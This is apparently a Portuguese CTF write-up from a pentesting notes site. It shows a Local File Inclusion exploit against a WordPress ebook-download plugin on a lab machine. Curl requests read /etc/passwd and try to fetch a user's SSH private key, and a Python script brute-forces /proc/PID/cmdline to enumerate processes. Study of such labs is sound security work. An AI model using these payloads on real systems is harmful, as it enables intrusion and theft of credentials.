> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-lfi/lfi-proc-logs-pentesting-web.md).

# LFI em Proc Logs

## Exploração LFI

**Enumeração de arquivos sensíveis:** Liste os usuários do sistema via /etc/passwd:

```bash
http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/etc/

```

<figure><img src="/files/8057f27c8565e4b6c1a11a268174c5b336b72aa6" alt=""><figcaption></figcaption></figure>

Tentativas de obtenção da chave SSH privada do usuário `usuário`:

```bash
curl -s -X GET "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/home/user/.ssh/id_rsa"
curl -s -X GET "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/home/user/.ssh/id_rsa.pub"

```

Essas tentativas provavelmente falham por causa de permissões restritas nesses arquivos.

<figure><img src="/files/f01548ffa2e0a239b13412f1568594307887663d" alt=""><figcaption></figcaption></figure>

### **LFI - Proc**

**Exploração do proc** Criação de um script Python para extrair informações de processos explorando `/proc/[PID]/cmdline`:

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb
def def_handler(sig, frame):
    print("/n/n[+]] Saindo.../n")
    sys.exit(1)
# Logs de LFI Proc
signal.signal(signal.SIGINT, def_handler)
# Logs de LFI Proc
main_url = "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl="
def makeRequest():
    # /proc/PID/cmdline
    p1 = log.progress("Ataque de força bruta")
    p1.status("Iniciando ataque de força bruta")
    sleep(2)
    for i in range(1, 1000):
        p1.status("Tentando com o caminho /proc/%s/cmdline" % str(i))
        url = main_url + "/proc/" + str(i) + "/cmdline"
        r = requests.get(url)
        if len(r.content) > 82:
            print("-------------------------------------------------------------------------------------")
            log.info("CAMINHO: /proc/%s/cmdline" % str(i))
            log.info("Comprimento total: %s" %len(r.content))
            print(r.content)
            print("-------------------------------------------------------------------------------------")
if __name__ == '__main__':
    makeRequest()

```

Ao analisar os processos, a porta 1337 é identificada como um servidor **gdbserver**.

<figure><img src="/files/0b4e0e930c22b948b00245abb53f4125e8b65a6f" alt=""><figcaption></figcaption></figure>


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